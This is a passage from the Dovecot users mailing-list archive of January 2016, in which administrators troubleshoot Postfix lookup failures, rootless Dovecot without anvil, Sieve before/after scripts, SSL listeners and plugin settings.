17 20:22:55 2016 From: ml+dovecot at valo.at (Christian Kivalo) Date: Sun, 17 Jan 2016 21:22:55 +0100 Subject: Temporary Lookup Failure In-Reply-To: <569BEA61.3020101@comcast.net> References: <569BEA61.3020101@comcast.net> Message-ID: <1bbac64dff7a2eae21a12c3da79fa11f@valo.at> On 2016-01-17 20:24, Brad wrote: > Hi All, > > Have a CentOS 7, dovecot and postfix setup. > > Can get mail via 995 SSL/TLS Accessing your mails with a MUA like thunderbird works and you can login to your imap account? > Can send mail to virtual users and auto creation works using > /etc/dovecot/passwd file via mail command. > > Using the dovecot lmtp and can login via 465 but the user lookup fails > via postfix. You can send email with thunderbird using port 465 (smtps) to other users on your server? LMTP ist used for the delivery of your mails from postfix to dovecot. Is postfix configured to use sasl auth? > in postfix main.cf have virtual_transport = > lmtp:unix:private/dovecot-lmtp Looks good. is dovecot configured to create a socket there? See 10-master.conf the "service lmtp" block > in dovecot.log I am seeing no errors > in dovecot-info.log no errors either > > in maillog I am seeing: > postfix/smtps/smtpd warning hash:/etc/postfix/virtual is unavailable > open database /etc/postfix/virtual.db No such file. That is postfix. Does /etc/postfix/virtual.db exist? > Note: I did go through creating the virtual.db and associated files > but figured that it cant be correct as I want lmtp to handle it and it > didn't work anyways, so I removed it. Have you created /etc/postfix/virtual and postmapped that file to create the /etc/postfix/virtual.db file? > NOQUEUE reject RCPT from unknown[x.x.x.x] 451 4.3.0 > Temporary lookup failure from= to= > proto=ESMTP helo= -- obfuscated This is postfix. Please include the full logline no only the message. Be consistent when you obfuscate, use different replacements for different email addresses. > Tried every article I could find on the Internet to resolve this with > out much luck. Please provide configs. > Any pointers would be greatly appreciated or if you need specific > config details just let me know. > > Thanks, > Brad -- Christian From skeeved at skeeved.org Sun Jan 17 20:26:03 2016 From: skeeved at skeeved.org (skeeved) Date: Sun, 17 Jan 2016 15:26:03 -0500 Subject: Temporary Lookup Failure In-Reply-To: <569BEA61.3020101@comcast.net> References: <569BEA61.3020101@comcast.net> Message-ID: You had an /etc/postfix/virtual and then you removed it from main.cf? Did you restart postfix or do postfix reload afterwards? The log entry shows postfix is still looking for that map file. > On Jan 17, 2016, at 2:24 PM, Brad wrote: > > Hi All, > > Have a CentOS 7, dovecot and postfix setup. > > Can get mail via 995 SSL/TLS > > Can send mail to virtual users and auto creation works using /etc/dovecot/passwd file via mail command. > > Using the dovecot lmtp and can login via 465 but the user lookup fails via postfix. > > > in postfix main.cf have virtual_transport = lmtp:unix:private/dovecot-lmtp > > in dovecot.log I am seeing no errors > in dovecot-info.log no errors either > > in maillog I am seeing: > postfix/smtps/smtpd warning hash:/etc/postfix/virtual is unavailable open database /etc/postfix/virtual.db No such file. > > Note: I did go through creating the virtual.db and associated files but figured that it cant be correct as I want lmtp to handle it and it didn't work anyways, so I removed it. > > > NOQUEUE reject RCPT from unknown[x.x.x.x] 451 4.3.0 Temporary lookup failure from= to= proto=ESMTP helo= -- obfuscated > > Tried every article I could find on the Internet to resolve this with out much luck. > > Any pointers would be greatly appreciated or if you need specific config details just let me know. > > Thanks, > Brad From noeldude at gmail.com Sun Jan 17 20:52:42 2016 From: noeldude at gmail.com (Noel) Date: Sun, 17 Jan 2016 14:52:42 -0600 Subject: Temporary Lookup Failure In-Reply-To: <569BEA61.3020101@comcast.net> References: <569BEA61.3020101@comcast.net> Message-ID: <569BFF1A.7070402@gmail.com> On 1/17/2016 1:24 PM, Brad wrote: > Hi All, > > Have a CentOS 7, dovecot and postfix setup. > > Can get mail via 995 SSL/TLS > > Can send mail to virtual users and auto creation works using > /etc/dovecot/passwd file via mail command. > > Using the dovecot lmtp and can login via 465 but the user lookup > fails via postfix. > > > in postfix main.cf have virtual_transport = > lmtp:unix:private/dovecot-lmtp > > in dovecot.log I am seeing no errors > in dovecot-info.log no errors either > > in maillog I am seeing: > postfix/smtps/smtpd warning hash:/etc/postfix/virtual is > unavailable open database /etc/postfix/virtual.db No such file. This is (likely) the virtual_alias_maps rewrite map, definitely not the virtual delivery process. Find where you've defined a virtual map with # postconf | grep virtual and remove the offending bogus definition. -- Noel Jones > > Note: I did go through creating the virtual.db and associated > files but figured that it cant be correct as I want lmtp to handle > it and it didn't work anyways, so I removed it. > > > NOQUEUE reject RCPT from unknown[x.x.x.x] 451 4.3.0 > Temporary lookup failure from= to= > proto=ESMTP helo= -- obfuscated > > Tried every article I could find on the Internet to resolve this > with out much luck. > > Any pointers would be greatly appreciated or if you need specific > config details just let me know. > > Thanks, > Brad From dave at boostpro.com Sun Jan 17 21:19:26 2016 From: dave at boostpro.com (Dave Abrahams) Date: Sun, 17 Jan 2016 13:19:26 -0800 Subject: Running without anvil? Message-ID: Hi, I'm using dovecot as a local mail store on my laptop using preauth tunneling. It turns out I almost don't even need to start dovecot at all; the only reason it needs to be running is so that FTS indexing can be invoked. And because I don't want it to run any services, I can run it as an unprivileged user, so long as I turn them all off: # We don't want to serve any protocols, so we don't bind to any ports. # We can run everything as me. protocols = default_login_user = dave default_internal_user = dave The only thing is, I keep getting these in var/log/mail.log: anvil: Fatal: chroot(/Users/dave/brew/var/run/dovecot/empty) failed: Operation not permitted master: Error: service(anvil): command startup failed, throttling for 60 secs auth: Error: read(anvil-auth-penalty) failed: EOF Any suggestions? TIA, Dave From sca at andreasschulze.de Sun Jan 17 21:39:11 2016 From: sca at andreasschulze.de (A. Schulze) Date: Sun, 17 Jan 2016 22:39:11 +0100 Subject: Running without anvil? In-Reply-To: Message-ID: <20160117223911.Horde.SD7SccM3jdCLFPvGd73uFkE@andreasschulze.de> Dave Abrahams: > The only thing is, I keep getting these in var/log/mail.log: > > anvil: Fatal: chroot(/Users/dave/brew/var/run/dovecot/empty) > failed: Operation not permitted > master: Error: service(anvil): command startup failed, throttling > for 60 secs > auth: Error: read(anvil-auth-penalty) failed: EOF from "doveconf -a | less" service anvil { process_min_avail = 1 } try " = 0" ... you also may play with other settings for services that also do not run on startup Andreas From bradzynda42 at comcast.net Sun Jan 17 22:53:35 2016 From: bradzynda42 at comcast.net (Brad) Date: Sun, 17 Jan 2016 17:53:35 -0500 Subject: Temporary Lookup Failure In-Reply-To: <1bbac64dff7a2eae21a12c3da79fa11f@valo.at> References: <569BEA61.3020101@comcast.net> <1bbac64dff7a2eae21a12c3da79fa11f@valo.at> Message-ID: <569C1B6F.2020509@comcast.net> Hi Christian, Noel and Skeeved, Found the offending postfix -o virtual map in master.cf and removed it. Re-tested email and new error but the warning for the virtual is gone: Sender address rejected not owned by user NOQUEUE reject RCPT from unknown[10.10.1.102] 553 5.7.1 sender address rejected: not owned by user steve; from= to= proto=ESMTP helo= Answering the rest inline Thanks for everyones help, Brad On 01/17/2016 03:22 PM, Christian Kivalo wrote: > On 2016-01-17 20:24, Brad wrote: >> Hi All, >> >> Have a CentOS 7, dovecot and postfix setup. >> >> Can get mail via 995 SSL/TLS > Accessing your mails with a MUA like thunderbird works and you can > login to your imap account? Correct from Thunderbird no auth issues or errors. > >> Can send mail to virtual users and auto creation works using >> /etc/dovecot/passwd file via mail command. >> >> Using the dovecot lmtp and can login via 465 but the user lookup fails >> via postfix. > You can send email with thunderbird using port 465 (smtps) to other > users on your server? > LMTP ist used for the delivery of your mails from postfix to dovecot. > Is postfix configured to use sasl auth? No I can not send emails to other users I get the same similar error that the user "Sender address rejected: not owned by user Please check the message recipient and try again." Not sure if LMTP is used when calling mail command from the local mail server but that appears to work only, not from the MUA. Yes postfix is setup to use sasl auth and TLS. I would like to have all of them setup and ready and limit as needed via the firewall. > > >> in postfix main.cf have virtual_transport = >> lmtp:unix:private/dovecot-lmtp > Looks good. is dovecot configured to create a socket there? See > 10-master.conf the "service lmtp" block service lmtp { unix_listener /var/spool/postfix/private/dovecot-lmtp { group = postfix mode = 0666 user = postfix } } everything else is commented out inside the block > >> in dovecot.log I am seeing no errors >> in dovecot-info.log no errors either >> >> in maillog I am seeing: >> postfix/smtps/smtpd warning hash:/etc/postfix/virtual is unavailable >> open database /etc/postfix/virtual.db No such file. > That is postfix. Does /etc/postfix/virtual.db exist? ended up being a -o rule that slipped by in master.cf >> Note: I did go through creating the virtual.db and associated files >> but figured that it cant be correct as I want lmtp to handle it and it >> didn't work anyways, so I removed it. > Have you created /etc/postfix/virtual and postmapped that file to > create the /etc/postfix/virtual.db file? I did go through that process but was still getting at that time the Temporary lookup errors. Should I re-create these? > >> NOQUEUE reject RCPT from unknown[x.x.x.x] 451 4.3.0 >> Temporary lookup failure from= to= >> proto=ESMTP helo= -- obfuscated > This is postfix. Please include the full logline no only the message. > Be consistent when you obfuscate, use different replacements for > different email addresses. > >> Tried every article I could find on the Internet to resolve this with >> out much luck. > > Please provide configs. Would you like a postconf -n or all the individual files for postfix and dovecot? > >> Any pointers would be greatly appreciated or if you need specific >> config details just let me know. >> >> Thanks, >> Brad From dave at boostpro.com Sun Jan 17 23:22:04 2016 From: dave at boostpro.com (Dave Abrahams) Date: Sun, 17 Jan 2016 15:22:04 -0800 Subject: Running without anvil? References: <20160117223911.Horde.SD7SccM3jdCLFPvGd73uFkE@andreasschulze.de> Message-ID: on Sun Jan 17 2016, "A. Schulze" wrote: > Dave Abrahams: > >> The only thing is, I keep getting these in var/log/mail.log: >> >> anvil: Fatal: chroot(/Users/dave/brew/var/run/dovecot/empty) >> failed: Operation not permitted >> master: Error: service(anvil): command startup failed, throttling >> for 60 secs >> auth: Error: read(anvil-auth-penalty) failed: EOF > > from "doveconf -a | less" > > service anvil { > process_min_avail = 1 > } > > try " = 0" ... Adding this to dovecot.conf doesn't seem to change anything: service anvil { process_min_avail = 0 } Is there something else I need to do? From dave at boostpro.com Mon Jan 18 00:17:14 2016 From: dave at boostpro.com (Dave Abrahams) Date: Sun, 17 Jan 2016 16:17:14 -0800 Subject: Running without anvil? References: <20160117223911.Horde.SD7SccM3jdCLFPvGd73uFkE@andreasschulze.de> Message-ID: on Sun Jan 17 2016, Dave Abrahams wrote: > on Sun Jan 17 2016, "A. Schulze" wrote: > >> Dave Abrahams: >> >>> The only thing is, I keep getting these in var/log/mail.log: >>> >>> anvil: Fatal: chroot(/Users/dave/brew/var/run/dovecot/empty) >>> failed: Operation not permitted >>> master: Error: service(anvil): command startup failed, throttling >>> for 60 secs >>> auth: Error: read(anvil-auth-penalty) failed: EOF >> >> from "doveconf -a | less" >> >> service anvil { >> process_min_avail = 1 >> } >> >> try " = 0" ... > > Adding this to dovecot.conf doesn't seem to change anything: > > service anvil { > process_min_avail = 0 > } > > Is there something else I need to do? Taking a wild guess, this seems to work: service anvil { executable = /usr/bin/True process_min_avail = 0 unix_listener anvil-auth-penalty { } unix_listener anvil { } } I have no idea which parts of it are necessary and which are incidental, though. Hopefully, none of it is actively harmful. From Hajo.Locke at gmx.de Mon Jan 18 08:54:38 2016 From: Hajo.Locke at gmx.de (Hajo Locke) Date: Mon, 18 Jan 2016 09:54:38 +0100 Subject: sieve - configuration problem In-Reply-To: <56997CB6.40405@rename-it.nl> References: <5698E11D.5020308@gmx.de> <56997CB6.40405@rename-it.nl> Message-ID: <569CA84E.3010003@gmx.de> Hello, Am 16.01.2016 um 00:11 schrieb Stephan Bosch: > Op 1/15/2016 om 1:07 PM schreef Hajo Locke: >> Hello List, >> >> first thanks for previous hints, you helped me a lot. >> >> Unfortunately i have new problem with sieve and executing multiple >> scripts sequentially. >> This is current conf which is complete working : >> #CONF1 >> plugin { >> sieve = ~/sieve/.dovecot.sieve >> sieve_plugins = sieve_extprograms >> sieve_extensions = +vnd.dovecot.pipe +vnd.dovecot.filter >> +vnd.dovecot.execute +editheader >> sieve_pipe_bin_dir = /usr/local/bin/ >> sieve_filter_bin_dir = /usr/local/bin/ >> sieve_dir = ~/sieve >> sieve_global_dir = /etc/dovecot/sieve/ >> } >> >> i also activated managesieve which is working as well. >> >> Now iam looking for a way to run individual scripts for users. My idea >> is to have a system generated script which may run before or after the >> personal script. Additional the system scripts should not be viewed or >> changed by mailusers. >> So i tried with directives sieve_before and sieve_after: >> #CONF2 >> plugin { >> sieve = ~/sieve/.dovecot.sieve >> sieve_before = ~/sieve_before/.dovecot.sieve >> sieve_after = ~/sieve_after/.dovecot.sieve >> sieve_plugins = sieve_extprograms >> sieve_extensions = +vnd.dovecot.pipe +vnd.dovecot.filter >> +vnd.dovecot.execute +editheader >> sieve_pipe_bin_dir = /usr/local/bin/ >> sieve_filter_bin_dir = /usr/local/bin/ >> sieve_dir = ~/sieve >> sieve_global_dir = /etc/dovecot/sieve/ >> } >> >> every single script "~/sieve/.dovecot.sieve", >> "~/sieve_before/.dovecot.sieve" and "~/sieve_after/.dovecot.sieve" >> contains a small rule to add a new mailheader (X-Before, X-After, >> X-Middle) so i can watch what happens. The problem is: Every single >> script is working, but only when this directive is the only one which >> is activated in conf. As soon as i enable another directive absolut >> nothing is happen. It does not matter which combination of directives >> (sieve|sieve_before_sieve_after) is enabled or disabled. Just as a >> second one is enabled sieve seems to do nothing. Mail is delivered by >> lda but no songle one headerentry is added. >> What happens here and how to solve this? Currently i use dovecot >> 2.2.21 and sieve 0.4.11 > This should fix it: > > https://github.com/dovecot/pigeonhole/commit/16362ac8fbe4b2a62018f93991dd51e98c03997d > > Regards, > > Stephan. > Thanks for your quick fix. Now all works as expected. Thanks, Hajo From tss at iki.fi Mon Jan 18 09:35:15 2016 From: tss at iki.fi (Timo Sirainen) Date: Mon, 18 Jan 2016 11:35:15 +0200 Subject: Running without anvil? In-Reply-To: References: Message-ID: <3CBC76FB-3BEB-49B6-95EA-B877F095C02D@iki.fi> On 17 Jan 2016, at 23:19, Dave Abrahams wrote: > > Hi, > > I'm using dovecot as a local mail store on my laptop using preauth > tunneling. It turns out I almost don't even need to start dovecot at > all; the only reason it needs to be running is so that FTS indexing can > be invoked. And because I don't want it to run any services, I can run > it as an unprivileged user, so long as I turn them all off: > > # We don't want to serve any protocols, so we don't bind to any ports. > # We can run everything as me. > protocols = > default_login_user = dave > default_internal_user = dave > > The only thing is, I keep getting these in var/log/mail.log: > > anvil: Fatal: chroot(/Users/dave/brew/var/run/dovecot/empty) failed: Operation not permitted > master: Error: service(anvil): command startup failed, throttling for 60 secs > auth: Error: read(anvil-auth-penalty) failed: EOF > > Any suggestions? http://wiki2.dovecot.org/HowTo/Rootless From ml+dovecot at valo.at Mon Jan 18 09:41:09 2016 From: ml+dovecot at valo.at (Christian Kivalo) Date: Mon, 18 Jan 2016 10:41:09 +0100 Subject: Temporary Lookup Failure In-Reply-To: <569C1B6F.2020509@comcast.net> References: <569BEA61.3020101@comcast.net> <1bbac64dff7a2eae21a12c3da79fa11f@valo.at> <569C1B6F.2020509@comcast.net> Message-ID: On 2016-01-17 23:53, Brad wrote: > Hi Christian, Noel and Skeeved, > > Found the offending postfix -o virtual map in master.cf and removed it. > > Re-tested email and new error but the warning for the virtual is gone: > > Sender address rejected not owned by user > > NOQUEUE reject RCPT from unknown[10.10.1.102] 553 5.7.1 > > sender address rejected: not owned by user steve; > from= to= > proto=ESMTP helo= > > Answering the rest inline > > Thanks for everyones help, > Brad > > On 01/17/2016 03:22 PM, Christian Kivalo wrote: >> On 2016-01-17 20:24, Brad wrote: >>> Hi All, >>> >>> Have a CentOS 7, dovecot and postfix setup. >>> >>> Can get mail via 995 SSL/TLS >> Accessing your mails with a MUA like thunderbird works and you can >> login to your imap account? > Correct from Thunderbird no auth issues or errors. Ok, so your dovecot config seems to be ok so far. >> >>> Can send mail to virtual users and auto creation works using >>> /etc/dovecot/passwd file via mail command. >>> >>> Using the dovecot lmtp and can login via 465 but the user lookup >>> fails >>> via postfix. >> You can send email with thunderbird using port 465 (smtps) to other >> users on your server? >> LMTP ist used for the delivery of your mails from postfix to dovecot. >> Is postfix configured to use sasl auth? > No I can not send emails to other users I get the same similar error > that the user "Sender address rejected: not owned by user > Please check the message recipient and try again." Do you by chance have reject_sender_login_mismatch set in postfix? This sounds as if you like to send with an emailaddress that differs from your sasl login > Not sure if LMTP is used when calling mail command from the local mail > server but that appears to work only, not from the MUA. You should see that in the logs when a local submitted email is delivered to your mailbox something like postfix/lmtp[54323] C54F83AB436: to= relay=$hostname[private/dovecot-lmtp] ... > > Yes postfix is setup to use sasl auth and TLS. I would like to have > all of them setup and ready and limit as needed via the firewall. >> >> >>> in postfix main.cf have virtual_transport = >>> lmtp:unix:private/dovecot-lmtp >> Looks good. is dovecot configured to create a socket there? See >> 10-master.conf the "service lmtp" block > service lmtp { > unix_listener /var/spool/postfix/private/dovecot-lmtp { > group = postfix > mode = 0666 > user = postfix > } > } > everything else is commented out inside the block ok, looks the same here >> >>> in dovecot.log I am seeing no errors >>> in dovecot-info.log no errors either >>> >>> in maillog I am seeing: >>> postfix/smtps/smtpd warning hash:/etc/postfix/virtual is unavailable >>> open database /etc/postfix/virtual.db No such file. >> That is postfix. Does /etc/postfix/virtual.db exist? > ended up being a -o rule that slipped by in master.cf >>> Note: I did go through creating the virtual.db and associated files >>> but figured that it cant be correct as I want lmtp to handle it and >>> it >>> didn't work anyways, so I removed it. >> Have you created /etc/postfix/virtual and postmapped that file to >> create the /etc/postfix/virtual.db file? > I did go through that process but was still getting at that time the > Temporary lookup errors. Should I re-create these? >> >>> NOQUEUE reject RCPT from unknown[x.x.x.x] 451 4.3.0 >>> Temporary lookup failure from= to= >>> proto=ESMTP helo= -- obfuscated >> This is postfix. Please include the full logline no only the message. >> Be consistent when you obfuscate, use different replacements for >> different email addresses. >> >>> Tried every article I could find on the Internet to resolve this with >>> out much luck. >> >> Please provide configs. > Would you like a postconf -n or all the individual files for postfix > and dovecot? Both: postconf -n/doveconf -n This seems to be a problem with your postfix not accepting mails due to some configuration on your side, not a problem with dovecot but the configs will probably tell The postfix problem should be taken over to the postfix mailinglist. >> >>> Any pointers would be greatly appreciated or if you need specific >>> config details just let me know. >>> >>> Thanks, >>> Brad Christian From snamhappy at gmail.com Mon Jan 18 14:45:41 2016 From: snamhappy at gmail.com (=?UTF-8?B?64Ko7ISk?=) Date: Mon, 18 Jan 2016 23:45:41 +0900 Subject: Dovecot doesn't listen on port 143, 993 in SSL Message-ID: <569CFA95.6050209@gmail.com> Dear Dovecot Team First of all, I always appreciated your contribution & effort. Dovecot is very good tool for me for a while since my 2 years Linux start. But, 3 days ago, I upgraded my ubuntu 15.04 to 15.10 Then, I realized that my dovecot mail sever didn't work. So I simply terminated all the packages and reinstall it. It means I can't remeber what my previous setting was in my memory. So, dovecot in run is ver 2.2.18 now. Dovecot -n shows below and there is no "SSL" option. then all the port 143, 993 opens(It's not accesible somehow from clients but it's next matter) ----------------------No SSL version------------------------ auth_mechanisms = plain login mail_location = maildir:~/Maildir namespace inbox { inbox = yes location = mailbox Drafts { special_use = \Drafts } mailbox Junk { special_use = \Junk } mailbox Sent { special_use = \Sent } mailbox "Sent Messages" { special_use = \Sent } mailbox Trash { special_use = \Trash } prefix = } passdb { driver = pam } protocols = " imap" service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0666 user = postfix } } userdb { driver = passwd } ----------------------------------------------------------- But, If I turn on SSL option with encrypt key and certicate, all port 143, 993 just disappeared. I treaded this issue in ubuntu ASK but still no proper answer so far http://askubuntu.com/questions/722072/dovecot-doesnt-listen-on-993imaps --------------------------SSL option version---------------- auth_mechanisms = plain login mail_location = maildir:~/Maildir namespace inbox { inbox = yes location = mailbox Drafts { special_use = \Drafts } mailbox Junk { special_use = \Junk } mailbox Sent { special_use = \Sent } mailbox "Sent Messages" { special_use = \Sent } mailbox Trash { special_use = \Trash } prefix = } passdb { driver = pam } protocols = " imap" service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0666 user = postfix } } *ssl_cert = ** **ssl_key = * userdb { driver = passwd } -------------------------------------------------------------- Looing forward your reply Thanks in advance From skdovecot at smail.inf.fh-brs.de Mon Jan 18 15:24:51 2016 From: skdovecot at smail.inf.fh-brs.de (Steffen Kaiser) Date: Mon, 18 Jan 2016 16:24:51 +0100 (CET) Subject: Dovecot doesn't listen on port 143, 993 in SSL In-Reply-To: <569CFA95.6050209@gmail.com> References: <569CFA95.6050209@gmail.com> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Mon, 18 Jan 2016, ?? wrote: > Then, I realized that my dovecot mail sever didn't work. So I simply > terminated all the packages and reinstall it. > It means I can't remeber what my previous setting was in my memory. > > So, dovecot in run is ver 2.2.18 now. What does doveconf -n output? What does Dovecot log? > > Dovecot -n shows below and there is no "SSL" option. then all the port 143, > 993 opens(It's not accesible somehow from clients but it's next matter) > ----------------------No SSL version------------------------ > auth_mechanisms = plain login > mail_location = maildir:~/Maildir > namespace inbox { > inbox = yes > location = > mailbox Drafts { > special_use = \Drafts > } > mailbox Junk { > special_use = \Junk > } > mailbox Sent { > special_use = \Sent > } > mailbox "Sent Messages" { > special_use = \Sent > } > mailbox Trash { > special_use = \Trash > } > prefix = > } > passdb { > driver = pam > } > protocols = " imap" > service auth { > unix_listener /var/spool/postfix/private/auth { > group = postfix > mode = 0666 > user = postfix > } > } > userdb { > driver = passwd > } > ----------------------------------------------------------- > But, If I turn on SSL option with encrypt key and certicate, all port 143, > 993 just disappeared. > I treaded this issue in ubuntu ASK but still no proper answer so far > http://askubuntu.com/questions/722072/dovecot-doesnt-listen-on-993imaps > > --------------------------SSL option version---------------- > auth_mechanisms = plain login > mail_location = maildir:~/Maildir > namespace inbox { > inbox = yes > location = > mailbox Drafts { > special_use = \Drafts > } > mailbox Junk { > special_use = \Junk > } > mailbox Sent { > special_use = \Sent > } > mailbox "Sent Messages" { > special_use = \Sent > } > mailbox Trash { > special_use = \Trash > } > prefix = > } > passdb { > driver = pam > } > protocols = " imap" > service auth { > unix_listener /var/spool/postfix/private/auth { > group = postfix > mode = 0666 > user = postfix > } > } > *ssl_cert = ** > **ssl_key = * > userdb { > driver = passwd > } > -------------------------------------------------------------- > Looing forward your reply > > Thanks in advance > - -- Steffen Kaiser -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQEVAwUBVp0Dw3z1H7kL/d9rAQLZegf+Ko3jPrIBqBSPmbcaobvoGD6OrI1CfKbW t/nhLqpLaxvS3UsdIAXzkqmiuso4NvkyEGdDtWcoB+FyfQEItjcdl3iW4L5Hmmxe ycmJ7iUkyHrK9RSRuynHsp7HXonO61NcfOQ6InZYFG5MHe4f8NyhrlQ6xmtjw511 UQssoaO66lzt22hEeQ1ae87QymTd+9dp726KYeqMkrHLK0mGHIZQo4hETdklCAaN 7yuZ8nDJn6/4glJxNJSk2m/0wKTAj6gLt6Bk6Dz5Iw705RiiHBiyVw7gJHYhRBaO Z7B/uf4K6BN0mTFUnoISVDrZekmslTAIstmqZlIzd6Yjr5Xehby5GQ== =n567 -----END PGP SIGNATURE----- From dave at boostpro.com Mon Jan 18 15:50:09 2016 From: dave at boostpro.com (Dave Abrahams) Date: Mon, 18 Jan 2016 07:50:09 -0800 Subject: Running without anvil? References: <3CBC76FB-3BEB-49B6-95EA-B877F095C02D@iki.fi> Message-ID: on Mon Jan 18 2016, Timo Sirainen wrote: > On 17 Jan 2016, at 23:19, Dave Abrahams wrote: >> >> Hi, >> >> I'm using dovecot as a local mail store on my laptop using preauth >> tunneling. It turns out I almost don't even need to start dovecot at > >> all; the only reason it needs to be running is so that FTS indexing can >> be invoked. And because I don't want it to run any services, I can run >> it as an unprivileged user, so long as I turn them all off: >> >> # We don't want to serve any protocols, so we don't bind to any ports. >> # We can run everything as me. >> protocols = >> default_login_user = dave >> default_internal_user = dave >> >> The only thing is, I keep getting these in var/log/mail.log: >> >> anvil: Fatal: chroot(/Users/dave/brew/var/run/dovecot/empty) failed: Operation not permitted >> master: Error: service(anvil): command startup failed, throttling for 60 secs >> auth: Error: read(anvil-auth-penalty) failed: EOF >> >> Any suggestions? > > http://wiki2.dovecot.org/HowTo/Rootless Thanks; that's wonderful! You think of everything :-) From tss at iki.fi Mon Jan 18 15:56:06 2016 From: tss at iki.fi (Timo Sirainen) Date: Mon, 18 Jan 2016 17:56:06 +0200 Subject: doveconf syntax question In-Reply-To: <20160105153114.Horde.WeWCqoleQ9cfIvmYzPLO1aJ@andreasschulze.de> References: <20160105153114.Horde.WeWCqoleQ9cfIvmYzPLO1aJ@andreasschulze.de> Message-ID: <569D0B16.6030803@iki.fi> On 01/05/2016 04:31 PM, A. Schulze wrote: > > Hello, > > I have one sieve extension enabled: > > /etc/dovecot/conf.d/20-sieve.conf: > > plugin { > sieve_extensions = +vacation-seconds > } > > now (months later) we want to enable an other extension. > no big deal: > > /etc/dovecot/local.conf: > > plugin { > sieve_extensions = +editheaders > ... > } > > This was wrong. We ASSUMED the plus would add the extension to the list. > But at the end only +editheaders was activ. > > What's the right way to /add/ sieve_extensions from different config files? > our guess "sieve_extensions = $sieve_extensions +editheaders" do not work: > > doveconf -a | grep sieve_extensions > doveconf: Fatal: Error in configuration file /etc/dovecot/local.conf > line 22: Unknown variable: $sieve_extensions > doveconf: Error: managesieve-login: dump-capability process returned 89 > doveconf: Fatal: Error in configuration file /etc/dovecot/local.conf > line 22: Unknown variable: $sieve_extensions plugin { .. } settings can't be used as $variables unfortunately. Although you could see if ${plugin/sieve_extensions} happens to work, but I doubt it. I've some plans to change the way how plugin settings work that would also make this work, but this probably won't be happening soon (I doubt it'll make it to v2.3). From tss at iki.fi Mon Jan 18 15:57:27 2016 From: tss at iki.fi (Timo Sirainen) Date: Mon, 18 Jan 2016 17:57:27 +0200 Subject: mmap failed In-Reply-To: References: Message-ID: <569D0B67.8050906@iki.fi> On 01/14/2016 09:22 PM, @lbutlr wrote: > Error: mmap() failed with file /home/user/Maildir/.Archive/dovecot.index.cache: Cannot allocate memory > > I have default_vsz_limit = 512 M in my conf file. > > (This error only occurs with a single user?s .Archive index, but that user has over 400,000 files int eh Archive mailbox) If you legitimately have such huge mailboxes, the only thing you can really do is increase the VSZ limit or disable it entirely. From snamhappy at gmail.com Mon Jan 18 16:14:09 2016 From: snamhappy at gmail.com (Sul Nam) Date: Mon, 18 Jan 2016 16:14:09 +0000 (UTC) Subject: Dovecot doesn't listen on port 143, 993 in SSL In-Reply-To: References: <569CFA95.6050209@gmail.com> Message-ID: <3CCAA207202DDE34.D86D1FB4-FEE2-4893-A17C-12A8B53E6C4F@mail.outlook.com> I closed ">" for the SSL key and crt in syntax. Now it's work. issue solved.I got hint from syslog.? Thanks? Outlook Mobile?? ?? On Mon, Jan 18, 2016 at 7:25 AM -0800, "Steffen Kaiser" wrote: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Mon, 18 Jan 2016, ?? wrote: > Then, I realized that my dovecot mail sever didn't work. So I simply > terminated all the packages and reinstall it. > It means I can't remeber what my previous setting was in my memory. > > So, dovecot in run is ver 2.2.18 now. What does doveconf -n output? What does Dovecot log? > > Dovecot -n shows below and there is no "SSL" option. then all the port 143, > 993 opens(It's not accesible somehow from clients but it's next matter) > ----------------------No SSL version------------------------ > auth_mechanisms = plain login > mail_location = maildir:~/Maildir > namespace inbox { > inbox = yes > location = > mailbox Drafts { > special_use = \Drafts > } > mailbox Junk { > special_use = \Junk > } > mailbox Sent { > special_use = \Sent > } > mailbox "Sent Messages" { > special_use = \Sent > } > mailbox Trash { > special_use = \Trash > } > prefix = > } > passdb { > driver = pam > } > protocols = " imap" > service auth { > unix_listener /var/spool/postfix/private/auth { > group = postfix > mode = 0666 > user = postfix > } > } > userdb { > driver = passwd > } > ----------------------------------------------------------- > But, If I turn on SSL option with encrypt key and certicate, all port 143, > 993 just disappeared. > I treaded this issue in ubuntu ASK but still no proper answer so far > http://askubuntu.com/questions/722072/dovecot-doesnt-listen-on-993imaps > > --------------------------SSL option version---------------- > auth_mechanisms = plain login > mail_location = maildir:~/Maildir > namespace inbox { > inbox = yes > location = > mailbox Drafts { > special_use = \Drafts > } > mailbox Junk { > special_use = \Junk > } > mailbox Sent { > special_use = \Sent > } > mailbox "Sent Messages" { > special_use = \Sent > } > mailbox Trash { > special_use = \Trash > } > prefix = > } > passdb { > driver = pam > } > protocols = " imap" > service auth { > unix_listener /var/spool/postfix/private/auth { > group = postfix > mode = 0666 > user = postfix > } > } > *ssl_cert = ** > **ssl_key = * > userdb { > driver = passwd > } > -------------------------------------------------------------- > Looing forward your reply > > Thanks in advance > - -- Steffen Kaiser -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQEVAwUBVp0Dw3z1H7kL/d9rAQLZegf+Ko3jPrIBqBSPmbcaobvoGD6OrI1CfKbW t/nhLqpLaxvS3UsdIAXzkqmiuso4NvkyEGdDtWcoB+FyfQEItjcdl3iW4L5Hmmxe ycmJ7iUkyHrK9RSRuynHsp7HXonO61NcfOQ6InZYFG5MHe4f8NyhrlQ6xmtjw511 UQssoaO66lzt22hEeQ1ae87QymTd+9dp726KYeqMkrHLK0mGHIZQo4hETdklCAaN 7yuZ8nDJn6/4glJxNJSk2m/0wKTAj6gLt6Bk6Dz5Iw705RiiHBiyVw7gJHYhRBaO Z7B/uf4K6BN0mTFUnoISVDrZekmslTAIstmqZlIzd6Yjr5Xehby5GQ== =n567 -----END PGP SIGNATURE----- From noeldude at gmail.com Mon Jan 18 17:25:41 2016 From: noeldude at gmail.com (Noel) Date: Mon, 18 Jan 2016 11:25:41 -0600 Subject: Temporary Lookup Failure In-Reply-To: <569C1B6F.2020509@comcast.net> References: <569BEA61.3020101@comcast.net> <1bbac64dff7a2eae21a12c3da79fa11f@valo.at> <569C1B6F.2020509@comcast.net> Message-ID: <569D2015.3000006@gmail.com> On 1/17/2016 4:53 PM, Brad wrote: > Hi Christian, Noel and Skeeved, > > Found the offending postfix -o virtual map in master.cf and > removed it. > > Re-tested email and new error but the warning for the virtual is > gone: > > Sender address rejected not owned by user > > NOQUEUE reject RCPT from unknown[10.10.1.102] 553 